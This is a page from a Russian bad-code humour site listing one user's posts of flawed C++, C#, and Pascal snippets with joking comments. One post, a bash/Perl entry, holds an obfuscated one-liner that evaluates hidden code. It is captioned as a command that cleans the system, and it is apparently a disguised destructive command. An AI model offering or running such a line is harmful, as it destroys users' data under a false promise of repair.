1. Список говнокодов пользователя Говногость

    Всего: 188

  2. Pascal / Говнокод #2775

    +99.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    function RegisterSceenButton(Caption:shortstring;Rect:trect;dx,dy,ShadowWidth:dword;Style:dword;VerticalGradient,VerticalGradientifMouse,VerticalGradientIfClick:bool;TextColor,ColorTop,ColorBottom,TextColorIfMouse,ColorTopIfMouse,ColorBottomIfMouse,TextColorIfClick,ColorTopIfClick,ColorBottomIfClick,LeftTopColor,RightBottomColor:dword;pushProc:tSBPushProc;Surface:idirectdrawsurface7):dword;
    var i:dword;
    begin
    result:=0;
    for i:=1 to SMaxSceenButton do
    if SceenButton[i].isNotEmpty=false then break;
    if i=SMaxSceenButton then exit;
    ZeroMemory(@SceenButton[i],sizeof(SceenButton[i]));
    SceenButton[i].Caption:=caption;
    SceenButton[i].PushProc:=@pushproc;
    SceenButton[i].Rect:=rect;
    SceenButton[i].dx:=dx;
    SceenButton[i].dy:=dy;
    SceenButton[i].TextColor:=textcolor;
    SceenButton[i].ColorTop:=ColorTop;
    SceenButton[i].ColorBottom:=ColorBottom;
    SceenButton[i].TextColorIfMouse:=textcolorifmouse;
    SceenButton[i].ColorTopIfMouse:=colorTopifmouse;
    SceenButton[i].ColorBottomIfMouse:=colorBottomifmouse;
    SceenButton[i].LeftTopColor:=lefttopcolor;
    SceenButton[i].RightBottomColor:=rightbottomcolor;
    SceenButton[i].ShadowWidth:=ShadowWidth;
    SceenButton[i].TextColorIfClick:=textcolorifclick;
    SceenButton[i].ColorTopIfClick:=colorTopifclick;
    SceenButton[i].ColorBottomIfClick:=colorBottomifclick;
    SceenButton[i].surface:=surface;
    SceenButton[i].Style:=Style;
    SceenButton[i].VerticalGradient:=VerticalGradient;
    SceenButton[i].VerticalGradientIfMouse:=VerticalGradientIfMouse;
    SceenButton[i].VerticalGradientIfClick:=VerticalGradientIfClick;
    SceenButton[i].state:=SSTB_Normal;
    SceenButton[i].isNotEmpty:=true;
    SceenButton[i].State:=SSTB_normal;
    result:=i;
    end;

    Программа, полностью на скинах через DDraw. Гуевое лишь POPUP окно. Зачем мне было это нужно? Работает только в 32битном режиме. В остальных глючит. :D

    Говногость, 13 Марта 2010

    Комментарии (5)
  3. C++ / Говнокод #2724

    +72.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    class ...
    {
      ...
    public:
      ...
      char _Data[57];
    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      const volatile byte _Thunk[3];//!!!!Пожалуста, не убирайте!!! Тут портится память!!!!!!!!!!
    //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
      PTChar _Str_;
      ..
    };

    Ну и проект мне достался. Смотря по дате ревизий в системе контроля версий, этим комментам около года, хотя проект активно все это время развивался.
    Жаль нет смайлика, катающегося по полу, держась за живот.

    Говногость, 06 Марта 2010

    Комментарии (19)
  4. C++ / Говнокод #2492

    +144.2

    1. 1
    i+=i+++i--;

    Access denied!!!

    Говногость, 27 Января 2010

    Комментарии (10)
  5. C++ / Говнокод #2481

    +61.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    bool SetVars()
    {
    	int i = 0;
    	int j = 0;
    
    	if (em == NULL)
    	{
    		Delay(0.001f);
    		return false;
    	};
    	
    	_end = em->end;
    	_max = em->max;
    	_min = em->min;
    	
                 //...

    В чем логика? Не могу понять...

    Говногость, 25 Января 2010

    Комментарии (30)
  6. C# / Говнокод #2414

    +144.2

    1. 1
    if ( strlen(f.ToString()) < 5 )

    Проверку булевской переменной.

    Говногость, 14 Января 2010

    Комментарии (9)
  7. bash / Говнокод #2406

    −91.4

    1. 1
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    Команда спасает от глюков и чистит систему.

    Говногость, 14 Января 2010

    Комментарии (23)
  8. C++ / Говнокод #2395

    +78

    1. 1
    2. 2
    3. 3
    4. 4
    int strlenw(const wchar_t *s)
    {
    	return (int)((int)(strlen(s)) % sizeof(wchar_t));
    };

    Даже и не знаю что сказать. Это было в доставшемся мне проекте. Мне кажется это говнокод.

    Говногость, 11 Января 2010

    Комментарии (44)
  9. C++ / Говнокод #2387

    +922.2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    __declspec(noreturn) int FastAdd(const int a, const int b)
    {
      __asm mov eax, a;
      __asm mov ebx, b;
      __asm add eax, ebx;
    };

    Встречаеться множество подобных функций в одном С++ проекте, который в данный момент разгребаю. Хочеться что-нибудь сказать автору. Например: "на XYZ"?

    Говногость, 08 Января 2010

    Комментарии (147)
  10. C++ / Говнокод #2373

    +72.3

    1. 1
    assert(this!=NULL);

    Что-то мне подсказывает, что в правильно организованных проектах такого нет. Найдено во всех методах некоторых "избранных" объектах и частенько срабатывают. :)

    Говногость, 05 Января 2010

    Комментарии (101)
  11. C++ / Говнокод #2122

    +68.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    char rc;
    ...
    bool ResourceManager()
    {
    	static TResourceRC r;
    	...
    	delete r;
    	...
    	r=new TResourceRC(rc);
    	...
    	return true;
    	assert(false);
    };
    ...

    От предков проект достался. Я думал, чего он переодически необьяснимо глючит...
    ResourceManager() - вызываеться регулярно в цикле.

    Говногость, 11 Ноября 2009

    Комментарии (13)